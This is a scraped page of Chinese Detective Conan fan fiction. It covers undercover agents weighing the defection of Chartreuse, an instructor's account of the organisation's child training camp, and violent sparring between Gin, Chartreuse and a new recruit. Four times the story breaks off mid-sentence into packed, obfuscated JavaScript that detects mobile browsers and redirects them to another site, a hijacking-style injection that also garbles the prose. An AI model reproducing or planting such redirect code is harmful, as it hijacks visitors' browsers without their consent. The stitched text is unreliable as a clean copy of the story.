l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16206839|175638||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 几碰撞出清脆的响声。 等等等等,让他缓缓。降谷零忍不住以手抵住额头,低头沉思。 “你知道你在说什么吗hiro?” 今天也不是愚人节啊……hiro不至于拿这个和他开玩笑——但为什么今天的消息一个比一个劲爆? 他甚至一时间都说不出两个消息哪一个更糟心一点。 “好吧,我也觉得匪夷所思。”诸伏景光下意识动了动右手的无名指。 “这可不是闹着玩的,hiro。”降谷零的声音压得极低,瞳色不由自主地变浅——波本曈,在这个时候显现说明他现在的状态很紧绷。“策反一位高层代号成员,我们需要一份足够让上级信任的证明。而且——” 证明夏特勒兹有策反的价值,证明他真心决定倒戈官方,证明推荐策反的担保人能够承担下一切可能的后果。 这是一场豪赌,几乎是将担保人与策反对象绑定。一旦策反对象的立场动摇,担保人要面临的就是黑方的追杀和官方的问责。 hiro这一次的决定…是不是过于冲动了?他们关于夏特勒兹的情报甚至比琴酒还要少。 “你能确保这个策反可能性的提出不掺杂任何主观因素吗?” “苏格兰,你不能拿自己的主观认知去赌所有人的命。” 诸伏景光的指尖停在杯沿。 他知道zero在担心什么。作为夏特勒兹的下属苏格兰,是接触夏特勒兹时间最多的人。越是与夏特勒兹相处越久,就会发现对方在执行任务和日常的行为模式截然不同,诸伏景光就越需要时间去对照验证,越需要更多信息去堆积出真正的夏特勒兹、评估他,验证他。 可—— “我不能确保,因为这个提议完全由我的主观思维推导。” 什——?! “你知不知道自己在暗示什么?!”降谷零几乎要怀疑诸伏景光是不是被夺舍了。 什么叫做“完全由我的主观思维推导”?诸伏景光作为被筛选出来专门培养的卧底搜查官,心理素质绝对没有问题,他也相信自己的幼驯染。 正是因为相信幼驯染的能力,才会觉得这种ooc的话语从对方口中说出来这么吓人啊! “一个从小就在组织长大,十四岁就拿到代号的‘天才’——”他拥有正常三观的可能性和琴酒是卧底的几率一样是负数! “我知道这很不可思议,zero。”诸伏景光上挑的蓝色/猫眼中尽是坦然与赤城。“这只是我的一个猜想,我会想办法找到更多客观证据。” 降谷零双眼放空,因为他发现了——诸伏景光完全没有开玩笑的意味,他是很认真地在和自己讨论这件事。 他觉得现在根本就是把他放在他和hiro之间的幼驯染信任度 和卧底安危中间来回折磨。 “不是说需要zero你现在表态,”诸伏景光看着瘫在沙发上生无可恋的幼驯染忍不住轻笑一声,右手覆在心脏处。“我也是对樱花发过誓的,我当然知道我的身份和职责。” “但我确实对夏特勒兹的真实身份有个猜测……我需要时间去验证。” 48.杉本教官 兜兜转转,调查夏特勒兹这件事又落到诸伏景光头上。波本作为夏特勒兹的对家朗姆的手下,打听情报的方式本就会受限制——详细请看意大利基地VCR。 而苏格兰作为夏特勒兹的下属,夏特勒兹手下的其他人多多少少有个概念,情报方面找好借口还是挺容易拿到的。 他想到一个人。 * 此刻为早上九点半,正是早高峰刚歇,街上人流量较少的时间段。咖啡店的服务员趁这个时间将店内的所有桌椅摆放整齐,顺便把地面清扫一遍。许久后她挂好拖把,看着自己的成果满意地擦了擦额头的汗珠。 嗯……虽然他们的店铺比较偏僻,客流量也不算多,但该做的还是要做好! 叮铃—— “欢迎光临白鸟咖啡店!” 店员小姐下意识喊道,挂好营业微笑看向门口。 哇——颓废感的忧郁池面! “那个,你好——” “啊,是的!客人您好!” “抱歉,我不是客人,我是来应聘的。”穿着蓝色兜帽卫衣的胡茬青年指了指咖啡店门口的招聘海报,笑得有些腼腆。“我看外面的海报上说……你们在找咖啡师?” …… “啊,早上好,店长。”店员小姐看着店长白鸟龙一打着哈欠进店,朝他打了个招呼。“刚才那位帅哥的水平如何?他说想要应聘咖啡师,我就按您的吩咐让他上去找您了。” “啊?啊……一般般吧。”店长随口敷衍道,“就他那水平,留在我的店里还不够格。” “诶——店长您的选人要求还真是严格。” “哼。”店长冷哼一声,去厨房捣鼓那台有些年头的咖啡机去。 笑话,他们这里是咖啡店,不卖酒水。他们的小庙可容不下一瓶足够烈的苏格兰威士忌。 * 谁能想到一间普通的咖啡店竟然是一个犯罪组织基地众多出入口之一呢? 诸伏景光按照店长给的入口信息顺利进入暗道。所有组织基地都连接着组织内网,在摄像头捕捉到苏格兰的人脸影像后瞬间审核对方的权限,不到片刻就解锁打开合金铁门。 诸伏景光走在暗道中,敏锐地感觉到自己正在走一段不太明显的下坡路。 地下? 上一次来的时候是夏特勒兹亲自带着他,走的是另一个入口。但既然那位店长让他一直走下去,那走就是了。 果然,暗道的尽头是一部电梯。察觉到脚步声的分贝超过休眠限制,电梯门很快打开,诸伏景光的动作甚至没有丝毫停顿。 【请进行身份验证。】 胡茬青年站立在电梯厢中,任由扫描射线在自己身上游走一遍。 【认证成功。您好,苏格兰威士忌。】 电梯没有楼层按钮,看来它只有一个目的地。诸伏景光只见电梯门关闭,然后机械转动的声音响起,整个电梯厢一顿,然后快速向前驶去。 等等,向前??? 这电梯不是上下的吗??! * 这还是他第二次来到这里,组织的第三基地。 因为上一次来是为了测试自己的各项能力,所以诸伏景光对这里的印象是——空间大,设施多。 现在还得再加一个:入口电梯堪比过山车。 难怪电梯厢里会有扶手这种设计! 揉了揉被撞痛的额角,胡茬青年微微撇嘴。 事实上他也不知道自己要找的人在不在这里,但他很幸运——他在基地的吧台处找到了目标。 “哦呀,新人?”吧台边一个男人醉醺醺地斜眼看他,“没事就滚——别在这里碍事。” 诸伏景光没有回答,目光锁定在角落里独自饮酒的男人身上。那人脖子上的疤痕过于显眼,从耳后一直延伸到锁骨,在灯光投下的阴影中显得格外狰狞。 “杉本教官。”他走近,声音压得很低。 杉本抬起头,浑浊的眼睛随着诸伏景光的唤声清明不少。他放下酒杯,玻璃杯与吧台碰撞发出清脆的响声。 “嚯……您可别叫我教官,我可没教过您什么东西。”他缓缓挺直腰,“是什么风把您吹到这儿来了,苏格兰大人?” 代号成员?!周围几个喝酒的家伙闻言立马噤声,有人甚至悄悄挪位置试图拉开距离,而有些人眼里则闪着跃跃欲试的光——诸伏景光注意到他们的动作下意识紧绷,摆出迎敌或方便拿武器的姿势。 “找个安静的地方聊聊?”他收回目光。 杉本哼笑一声,摇摇晃晃地站起身。“好吧好吧,代号成员的命令我哪敢不从……虽然我觉得我们之间没什么可聊的。跟我来吧。” 基地里纯白敞亮的装修风格让人怀疑这真的是一个犯罪组织的基地,而不是哪个科学研究所,他们穿过几条错综复杂的走廊,诸伏景光默默记下路线。 最终他们停在一处狭小的储物间前,杉本掏出钥匙打开门锁,诸伏景光这才发现对方的手只有三根手指——无名指与小拇指是缺失状态的。 “基地里的房间大大小小零零碎碎,我有幸拿到几个不错的房间。”杉本解释道,“虽然比不上审讯室,但这里的隔音做得还不错。” 储物间比诸伏景光想象的还要整洁一些,架子上摆放了些许清洁工具,角落里摞着两个木箱子。杉本从口袋中掏啊掏,掏出一个皱巴巴的烟盒。 “来一根?” “我不抽。”诸伏景光婉拒。 “也是,那孩子也不喜欢闻烟味。”杉本耸耸肩,确认房间里的空气循环系统正常运作后给自己点燃了一根。 “那么,名声鹊起的苏格兰大人,突然来基地找我这么个老头子有什么事?” 诸伏景光没有立刻回答,而是仔细观察着这个房间。 杉本理解对方的谨慎,任由他在房间里检查,在吐出一团烟雾后冷不丁出声。 “你在好奇夏特勒兹?” 满头华发的老人眼神并没有被酒精污染,锐利的观察下他看出了青年身形的微顿。 “哈!我就知道。你来找我的理由只有这个。”他狠狠嘬了口烟,旁若无人地絮絮叨叨。“老头子我现在能拿得出手只有训人,但你身边有1007……夏特勒兹这么个变态家伙训你,怎么也轮不到来找我……看来我脑子还没彻底锈掉。” 诸伏景光没有回答,以不变应万变。 “训练营,”杉本突然话头一转,手指捏着滤嘴,“你知道那里是什么地方吗?” “夏特勒兹出来的地方。” “夏特勒兹……是的,那个孩子从那个地狱里爬了出来。” “地狱。”杉本将这个词嚼了嚼,被唤起的回忆让他的声音变得低沉。 “对,字面意义上的地狱。组织除了从外面吸纳新成员,为了确保忠诚,还会亲自培养能够交付信任的刀。” “每一次训练营都会接收百来个孩子,从小洗/脑培养。近战、暗杀、射击、刺探情报、伪装、生存挑战、实战演练……一样一样地训练过去,直到被同期杀死,或者被末位淘汰,送去实验室或者更糟糕的地方。” “十多年来,迄今为止也就琴酒和夏特勒兹两个人算是顺利毕业。” 他拉开衣领,露出锁骨下方烙铁留下的疤痕——那是一个数字“7”。 “我是训练营第七届的教官,也是目前最幸运一届……知道为 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16225424|175638||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 什么吗?” 诸伏景光等待着他的下文。 “因为最终活下来的毕业生会杀了他们。”杉本冷笑,“琴酒杀了他那届所有教官。而夏特勒兹…他更‘仁慈’些,只是把我们弄残废了。” 房间陷入短暂的沉默,空气循环系统运作的呼呼声成为单调的白噪音。 “1007号,”杉本突然说,“那是夏特勒兹在训练营时的编号。百来个孩子里,他是最特别的——盲哑人,但他比任何人都危险。” 诸伏景光想起那双被黑缎覆盖的眼睛。组织里似乎没人见过夏特勒兹的真面目,毕竟蒙眼、哑巴两个特征已经足够明显。 “第一次见到他时,我以为他活不过一周。”杉本继续道,“四岁的孩子穿着泛白的病号服,送过来的时候发着高烧,眼睛和嗓子都废了——白色的纱布遮住双目,乱七八糟地在他脑袋上缠了几圈。” “但他活下来了,而且当他拿起刀的那一刻我就知道……训练营里要变天了。” 杉本的手指无意识地抚过脖子上的疤痕。“九岁那年,那孩子在经历42小时的反审讯训练后,仍有余力反杀审讯官,哈哈。” 他指了指自己的口腔,“他在这里,藏了刀片,40多个小时的审讯都没让他张过口。然后他自己折断了腕骨摆脱束缚,扑上去戳瞎了审讯官的眼睛,然后给他的颈侧大动脉狠狠地来了一下。” “我们把他绑回椅子上的时候差点又被他杀了,喏。”杉本指了指他脖子上的伤疤,“他抢了匕首,给我来了一下,差点把我送走。” “最后我们不得不打断他的四肢才能控制住他。” 诸伏景光感到一阵寒意。无论是九岁就接受反审讯训练,还是审讯42小时后的反杀都太过匪夷所思,简直就是天方夜谭……但杉本的伤疤告诉他这是亲身经历。 “哦,还有,关于1007……夏特勒兹的成绩。”杉本又摸了摸烟盒,却发现里面只剩最后一支烟。“除了炸弹的安装拆卸、套话、狙击等对眼睛和嘴巴有硬性要求的项目,夏特勒兹的成绩都比琴酒要好。 如果你和他共事的话应该也体验过,那孩子的能力有多强——那孩子单靠听力射击,25米移动靶的成绩就没下过九环。” 诸伏景光当然知道。 在意大利,通过狙击枪的瞄准镜,他可是亲眼看到了夏特勒兹以一挑八的实力。 “为什么要告诉我这些?”诸伏景光问道,“这应该是组织的机密吧。” 杉本露出一个扭曲的笑容。“机密?不,不,只是知道的人大多都死了而已,这点东西还算不上什么机密,夏特勒兹并不介意我告诉你这些东西。” 诸伏景光心跳加速。“什么意思?” “字面意思。”杉本耸耸肩,完全不在意自己透露出什么劲爆的消息。“你们之间的事情我不掺和,老头子我虽然残废了,但封口的能力还是有的。” 诸伏景光突然注意到杉本的目光停留在他脸上——准确来说是眼睛。他下意识摸了摸自己的眼角。 “有趣,”杉本喃喃道,“真是有趣。” “什么?” “没什么。”杉本将最后一根烟点燃,“只是…夏特勒兹那孩子从来不做无意义的事,我大概也知道他想让你知道这些的理由。” 他叼着烟站起身,表示他们之间的“聊聊”已经结束。“最后给你一个忠告吧,小苏格兰。” “永远不要小瞧训练营里出来的疯子。” “你是指夏特勒兹和琴酒?” 杉本离开了储物间,临走时那个眼神让诸伏景光汗毛倒竖。 “谁知道呢……” “‘门’快要开了。” 49.新的毕业生 组织的基地有大有小,有优有劣,位于神奈川的几个基地只能说还算不错。 空调运作的声音,作为背景音乐的爵士乐,压低的交谈声,烟丝燃烧的声音,酒杯碰撞的声音…… 诸伏清浅坐在最里边的卡座里。不算大的酒吧里,所有的声音都被接收入耳,嘈杂程度无异于在耳边播放十首错开节奏的《野蜂飞舞》,让人心烦意乱……但这已经是常态,敏锐听力带来的弊端他已经习以为常。 他一个月的假期早已结束,积压的工作也在几个星期前处理完毕,他能保证绝对没有任何能够挑出毛病的地方——但琴酒突然的约酒信息还是像雪中之笋一样吓人,让人不由得警惕。 他和琴酒?大过年的约酒? 是他没睡醒还是琴酒终于加班加到疯魔了? 无论如何,堂堂劳模突然约酒实在过于ooc,诸伏清浅甚至顺着网线查过去确认不是伏特加拿琴酒的手机误发。 酒吧门口的风铃被触发,新的声音被耳朵接收。三个脚步声,沉稳,节奏里带着警惕过后的放松。 “哟,‘大名鼎鼎’的威士忌组凯旋而归——”基安蒂的声音响起,她和科恩还有卡尔瓦多斯在另一张卡座,见三人朝她望来,她懒散地举了举手中的酒杯。 “托你的福,任务还算顺利。”波本带着惯有的虚伪笑容,没有否认基安蒂所说的“大名鼎鼎”。 威士忌三人组最近确实风头正盛,实力摆在那里,一向倨傲的波本没有必要搞虚伪谦虚那套。 “苏格兰,听说你的狙击又精进了?”卡尔瓦多斯的声音中带着警惕的探究,狙击手间的好胜心总是这么莫名其妙。 “运气好罢了。”苏格兰依旧是那副温和的态度,顺手在吧台处点了他们三人的酒后看见了在角落独坐的夏特勒兹。 “啊,夏特勒兹大人。” 苏格兰这么一句话出来,其余几人都一惊,眼神瞬间凌厉扫视四周,总算发现在角落的蒙眼青年。 “什么时候,在这里...?”科恩被吓了一跳。 啊?我吗? 蒙眼青年闻言默默坐直身体,手机敲敲打打后弹出的电子音无辜至极。“[我一直都在啊,我比你们早来半个钟。]” 完全没有发现! “只能说不愧是下属吗。”卡尔瓦多斯吐槽。 这个时候,酒保端着托盘走来,将一杯淡黄色的鸡尾酒放在夏特勒兹面前。 杜松子香和草本的香气融合在一起,形成一种令他熟悉的味道——毕竟很少鸡尾酒会在里面添加夏特勒兹酒。 阿拉斯加鸡尾酒,用琴酒与夏特勒兹酒调制而成。而会给他点这杯酒的只有—— “[贝尔摩德。]” “哎呀,还是那么敏锐呢。” “[会给我点这杯酒的也就只有你了。]” “你长大后一点也不好玩。”优雅低沉的嗓音取代了酒保原本的声音,贝尔摩德撕下脸上的易/容,盘起的柔顺金发顺势披散下来,在酒吧昏暗的灯光下流淌着光泽。 周围的空气似乎都静了一下。基安蒂不满地啧了一声,科恩依旧闭麦不说话,苏格兰保持着恰到好处的惊讶,波本莱伊则是是暗自警惕表观望态度,只有卡尔瓦多斯眼里闪过一丝惊艳。 夏特勒兹终究还是把手里捧着的冰水放回桌上,电子音显露不出任何情绪。“[玩……所以你在这里,意味着乐子?还是麻烦?]” “也许是两者都有,亲爱的。”贝尔摩德靠在吧台上,拢了拢自己的金色长发。 “我是来提醒你的,‘门’开了。” “门”开了。 这三个字就像撬锁的铁丝,瞬间捅开了诸伏清浅封存的记忆。 训练营的“门”开了,这意味着那座地狱里,又诞生出了一只从百人坑里爬出来的怪物。 诸伏清浅努力控制着自己的心跳呼吸,但那带着浓重血腥味和绝望气息的回忆还是攥紧了他的心脏,耳边似乎又响起训练营里其他孩子的嘶吼和惨叫,寒意在四肢百骸里流窜,让本来被冰水冰得有些发冷的手指彻底僵住。 “[我以为你知道,]”电子音没有任何起伏,但熟悉夏特勒兹的贝尔摩德能感受到他平静表面下汹涌的厌恶和……回避,以及一丝不易察觉的颤抖。“[我不太愿意去关注和那里有关的事情。]” “我知道。”贝尔摩德嘴角牵起,这一次她的笑容懒得伪装,尽显千面魔女的残酷本色。 “但琴酒在试炼场试他。BOSS的意思是,让你也去看看。” BOSS的意思。 这无疑是一种警告,但……试炼场?试炼?诸伏清浅在心中笑得荒凉。 所谓“试炼”,不过是让刚从地狱里爬出来的新人再次面对组织的残酷。让训练营的前辈、学长用绝对的碾压摧毁掉其心中仅存的一点天真和反抗意识,将其彻底打上组织的烙印。 “哦?有新人?”基安蒂来了兴趣,眼中闪着看乐子的光芒。“还是琴酒亲自试啊,那我得去看看热闹——” 她率先站起身,科恩沉默地跟上。卡尔瓦多斯也放下酒杯,显然也被勾起了好奇心。 新人啊……而且是训练营里出来的新人。明白了杉本教官口中的"门"的大致意思的苏格兰和互通情报过的波本对视一眼,也起身跟上——这是他们更进一步了解组织,尤其是那个训练营的绝佳机会。 “[……我以为那个地方已经不再运作了。]” 酒吧最后走得只剩下贝尔摩德和夏特勒兹两个人。夏特勒兹沉默地站起身率先离开,临走前的电子音不知道是他的喃喃自语还是意有所指。 BOSS的命令,以及……内心深处被强行唤醒的,对那个训练营后辈的同类命运的……审视?敌对?还是同病相怜? 他分不清,也不想分清。 只是原著中根本没有提及训练营的其他人物,在这个节点出现…… 他那位不知名的学弟最好祈祷自己的存在不会对剧情产生太大的影响,不然就算诸伏清浅再同情对方的遭遇,也会想尽办法把对方彻底摁死下去。 * 训练场在更下一层,巨大的场地被冷白的合金墙壁分割成数个区域。他们要去的是训练场中心最大的格斗区域,抵达的时候琴酒已经在那里了。 他脱掉了标志性的黑色长风衣,只穿着贴身的黑色战术背心,银色的长发随意扎起束在脑后,平日里的阴冷感被驱散不少。 但他墨绿色的眼眸在少了头发的遮挡后更显凌厉,如淬了毒的刀锋冰冷地锁定场地中央的另一个人。 那个就是新人。 褐色的头发短而凌乱,茶色的瞳孔在冷白的室内灯下微微收缩。他像一只被逼进角落的小兽,微微弓着背,摆出一个防御的姿态,警惕着散发着压迫感的琴酒——那是一种几近本能的、面对顶级掠食者的全神戒备。 来到训练场的夏特勒兹甚至能捕捉到他略微急促但控制得极好的呼吸声,显然对方的内心并不平静。 兽。 夏特勒兹瞬间判定出新人的类型。 但并不是鲁莽的野兽,而是一只直觉敏锐、会思考、懂得蛰伏的猛兽。 琴酒身形一动。没有预兆,没有试探,瞬间便跨越了两人间的距离,拳头挥动带起呼啸的风声,带着千钧之力直奔新人面门! 攻击简单、粗暴、迅猛,没有任何花哨,但却是经过数次生死搏杀后锻炼出的纯粹杀戮技巧,是最直接的破坏力。 新人没有硬接,而是在拳 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16246053|175638||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头即将到来的瞬间,身体以不可思议的柔韧度向后一仰,重心后移的同时快速后退,险之又险地擦着拳风后退避开,动作丝滑流畅,仿佛预判了琴酒的动作。 以牙还牙以眼还眼,新人趁着琴酒拳势未尽来不及改变姿势防御,借着后仰的姿势一个扭腰矮身,一记凌厉的扫堂腿狠狠扫向琴酒的支撑腿。 “哇哦,”观战有一会儿的基安蒂发出一声惊叹,“反应不错嘛!” 琴酒对新人的攻击冷哼一声,甚至没有移动,任由对方的攻击落在小腿上,发出令人牙酸的撞击声。 新人脸色微变,显然没有料到对方的下盘如此稳固,反震力让他的腿骨生疼。他连忙借力向后弹开,试图拉开距离。 可琴酒接下他的攻击就是为了堵住他的退路,他展现出惊人的敏捷,如影随形般贴身挥拳!左拳直攻新人肋下,右肘紧随其后,封闭住新人所有闪避的角度! 危险!直觉拉响警报,在关键时刻新人再次展现出惊人的身体控制能力,微微拧身用肩背硬吃左拳势大力沉的攻击,同时抬起右臂格挡对方的肘击! 砰!咔嚓!除了撞击的闷响,夏特勒兹还捕捉到一声细微的、令人牙酸的骨裂声。 新人被攻击打得踉跄后退数步,脸色苍白,右臂不自然地垂下——他的右手骨裂了。 “力量,悬殊。”科恩声音沙哑地评价一句。 “但那是琴酒的全力攻击吧?”卡尔瓦多斯看着格斗场中的银发身影,有那么一瞬间有些退缩。 “嗯……不得不说,能在琴酒手下撑这么久,这个新人确实有点东西。”平日里毛毛躁躁的基安蒂眼里也闪过凝重之色。 这似乎是其他人头一次见识到top killer的真正水平。 “还是说这就是训练营出身的水平?”波本摸着下巴,不嫌事大地调侃一句,但这场“试炼”他和苏格兰、莱伊看得更加心惊。 莱伊更是对此深有体会。 他是和琴酒打过架的,虽然双方打了个平局,但他清楚的知道如果时间拉长,他打赢的几率只能说fifty fifty。 琴酒的攻击如同狂风暴雨,每一击都带着致命的威胁,速度、力量、时机的把握堪称完美; 新人的敏锐反应和应变能力,以及忍耐疼痛的能力和咬着目标不放的执着,都让卧底搜查官们深刻感受到训练营出品的权威。 训练营。 诸伏景光的眉头紧锁,不久前杉本教官的话在今日终于化抽象为具体,让他不由得心生寒意——这就是从组织打造的地狱中爬出的怪物。 还能站着,看来还是不够。琴酒周身的气压又低了一度,不再留手,攻击陡然变得更加狂暴。 新人没想到难度还能再升一级,他瞳孔一缩,凭借着超强的直觉和身体韧性左支右拙,每一次的格挡防御都伴随着沉闷的撞击和剧痛,他的嘴角开始溢出血色。 但他依旧沉默,瞳孔颤动着,眼神中却没有恐惧,反而是凶光更盛。如同濒死的困兽,在绝境中寻找着那一线生机。 但实力的鸿沟和经验的缺乏是残酷的,仅仅是一次格挡的间隙,琴酒就抓住一瞬间的破绽,一记鞭腿狠狠抽中新人的胸腹交界处。 “噗、咳……!” 新人如遭重锤,一口鲜血咳出,整个人被踹得倒飞,重重砸在格斗场边缘冰冷的合金墙壁上。胸腹间的剧痛和令人窒息的眩晕感让他浑身脱力再起不能,只能靠在墙上喘息咳嗽,呼吸间都带着血腥味。 他想爬起来,但琴酒缓步走到他面前,居高临下地俯视着他,墨绿的眼眸冷漠得像在看地上的蝼蚁。他抬起腿,毫不留情地踩在新人的脑袋上。 “……呃!” 绝对的碾压下,胜负已分。 50.失败品 琴酒冷冷地扫了一眼在二楼看台看戏的众人,然后余光瞥见格斗场入口处阴影里的夏特勒兹,才缓缓收回脚。 新人剧烈地喘息着,用尽最后的力气撑起身体,靠着墙壁坐起来。他茶色的瞳孔扫像二楼看台的众人,目光中带着野兽般的警惕和审视,让与其对视的人都忍不住内心微动。 他同样留意到琴酒最后的视线,同样掠过格斗场入口阴影处的夏特勒兹——那标志性的蒙眼黑缎,让他明显停顿了一下。 正当众人以为尘埃落定,新人会默默认栽时,他开口了,声音因为喘息和咳血有些沙哑,但话语异常简洁,带着一种生硬的直接。 “夏特勒兹?”他看向阴影中的方向,“打一场?” 没有敬语,没有铺垫,像是在直白地陈述一个事实,又像是一种不自量力的挑衅。 训练场瞬间安静下来,就连琴酒都微微侧目,墨绿的瞳孔中闪过一丝意外和……玩味? 直到新人出声,众人顺着他视线的方向才惊讶发现在入口处的夏特勒兹。 他们刚才真的一点也没察觉到! 不过新人的发言…… “哈!不知死活!” 基安蒂嗤笑出声,科恩依旧沉默,但眼里多了点兴趣,卡尔瓦多斯则是微微挑眉。 波本和莱伊皱起了眉头,他们是知道夏特勒兹的实力的,因此格外觉得残血的新人疯了。 苏格兰的心则是猛地一紧,他下意识看向阴影中的夏特勒兹。 不知道是不是他的错觉,他感觉到一股无形的,比琴酒更加冰冷刺骨的气息正从那片阴影中弥漫开来。 蒙眼青年缓缓地从阴影中走出一步。惨白的灯光落在他身上,投下的阴影衬得他的肤色更加非人。他的气息收敛得极好,但莫名的死寂感正从他身上缓缓散发出。 “[你连琴酒都打不过,]” 电子音毫无波澜地响起,似乎在陈述一个在明显不过的事实,但所有人都能感受到那没有平仄起伏的电子音下蕴含的令人心悸的冰冷。 “[还想挑战我?]” 苏格兰不知为何从中听出一种难以言喻的,深沉的厌恶。 诸伏清浅的厌恶并非针对新人本身,而是针对“挑战”这个行为所代表的一切——训练营的残酷,养蛊般的厮杀,被扭曲的宿命,以及被迫再次面对这肮脏回忆的相关事物的烦躁。 新人没有退缩,尽管他的身体因为剧痛和脱力而微微颤抖,但短暂的调息还是让他重获站起身的力气。茶色的眼睛依旧死死地盯着夏特勒兹,里面燃烧着一种近乎偏执的火焰。 他没有说话,只是用眼神表达着坚持。 贝尔摩德适时地轻笑一声,打断这凝固的氛围。“代号有了吗?小家伙?” 新人抬头看向二楼看台,沉默了一下,才嘶哑地吐出四个字:“阿尼赛特。” 阿尼赛特(Anisette),茴香利口酒,一款烈性甜酒,具有明显的甘草、八角香气。 ——和夏特勒兹一样是草本利口酒。 “阿尼赛特?”贝尔摩德重复了一遍,红唇勾起一个意味深长的弧度,“如果我的情报没错的话,你隶属于朗姆麾下。” “[朗姆?]”夏特勒兹的电子音似乎出现了一丝细微的波动,话语中带着冰冷刺骨的质疑,就连琴酒如有实质的目光也落到阿尼赛特身上。 “[训练营的所有人,都应该直接效忠于BOSS。为什么……?]” 直接效忠于BOSS。这是训练营立下的规则,是所有训练营毕业生必须遵守的铁律。 朗姆的手伸得也太长了。 贝尔摩德笑容不变,眼神却锐利起来:“BOSS同意了。” 夏特勒兹沉默。阴影笼罩着他,让人看不清他的表情——尽管他也没有表情。 但众人莫名感觉他身上那股让人不自在的感觉骤然加剧。 BOSS同意了……这意味着什么?是对新人的不看好?但他的代号和自己一样是草药利口酒,这是朗姆为了膈应他,还是BOSS更深层次的信号? 变数。 沉默不到三秒,夏特勒兹动了。 没有琴酒那种浩大声势,夏特勒兹就如同一个没有重量的幽灵,又像是融入阴影的一部分,几乎是瞬间就无声跨越了十几米的距离出现在阿尼赛特面前! 好快!就连一旁的琴酒看到这速度都忍不住瞳孔一缩! 阿尼赛特茶色的瞳孔骤然缩成针尖,直觉叫嚣着的死亡危机感如一桶冰水浇在头上! 他重伤的身体爆发出求生的潜能,受伤的双臂下意识格挡在胸前,同时扭身拼命往旁侧翻滚——这完全是下意识的求生本能。 但夏特勒兹的动作更快,更诡异。 他的身体仿佛没有骨头,如灵蛇般避开阿尼赛特的仓促格挡,左手探出,精准无比地扣住阿尼赛特刚要抬起反击的左腕——那力量并不像琴酒那般霸道蛮横,但却带着一种无法抗拒的穿透性和精准控制力,瞬间锁死了阿尼赛特手腕的关节和脉络,令其麻痹失去力量。 夏特勒兹的动作没有丝毫停顿,扣住手腕的同时他的身体贴近屈膝一顶,再次重创阿尼赛特的腹部。 必须躲开! 强烈的直觉让阿尼赛特同样右腿上撩,试图逼退对方! 然而,夏特勒兹仿佛预判了他的动作,抬起的右腿成了新的破绽。他扣住阿尼赛特左腕的手猛地向下一带,同时身体借力旋转,如同优雅地舞者,一个流畅到极致的贴身摔投! 砰! 天旋地转间,阿尼赛特的后背再次狠狠砸在冰冷坚硬的地面上,强大的冲击力让他眼前发黑,五脏六腑仿佛都在哀嚎——他甚至都没看清对方是怎么做到的! “好快!”卡尔瓦多斯忍不住低呼出声,眼中充满震惊。这种速度、柔韧和技巧的结合,完美地体现了什么叫做打斗美学。 “喂喂……他真的是瞎子吗?!”基安蒂不敢相信。 夏特勒兹的攻击像连绵不绝的潮水,又像回南天的水汽——一旦开始就绝不会停歇,令人无法呼吸。 夏特勒兹的力气不如琴酒,但技巧绝对没人能胜过他——他的攻击不追求一击必杀的重击,但每一次出手都精准落在阿尼赛特四肢的关节连接处。 手指,手腕,肘部,肩膀,膝盖,脚踝……每一次攻击都伴随着令人牙酸的“咔嚓”声,以及阿尼赛特压抑不住的痛哼。 四肢的关节相继传来剧痛和脱臼的脆响,每一次脱臼都伴随着力量的瞬间流失和对身体控制的削弱,他的反击越来越无力,越来越徒劳。 “太,太强了……”基安蒂喃喃自语,先前对夏特勒兹的轻蔑完全被震撼取代,“这真的是人类能……!” “完全被玩弄于股掌之间啊,”莱伊靠在栏杆处,“简直就是折磨。” 琴酒双手抱臂,墨绿色的眼眸紧紧盯着夏特勒兹的动作,眼神深处藏着一丝极其复杂的情绪——忌惮,战意,还有被勾起不快回忆的不爽。 诸伏景光的心跳的飞快,他看着将强大的新人轻易肢解的身影,第一次如此直观地感受到“夏特勒兹”这个名字所代表 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16246054|175638||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的恐怖力量。 这就是训练营的毕业生。 不知怎的,诸伏景光感觉夏特勒兹的情绪似乎很不好,那冰冷的攻击中带着一种发泄般的深沉戾气。 他真的是……吗?一股寒意从他脊椎窜起。 贝尔摩德靠在墙边,点燃了一根细长的女士香烟,烟雾却没法模糊她那双洞察一切的眼睛。 她看着场中如艺术般的压制,忽然冷笑一声,声音不大,却清晰地传入每个人耳中。 “再怎么样,夏特勒兹的近战……可是在琴酒之上。”她顿了顿,说了点常人不知道的惊天情报。“毕竟他14岁刚毕业拿到代号那会儿,就差点近战单杀了琴酒呢。” 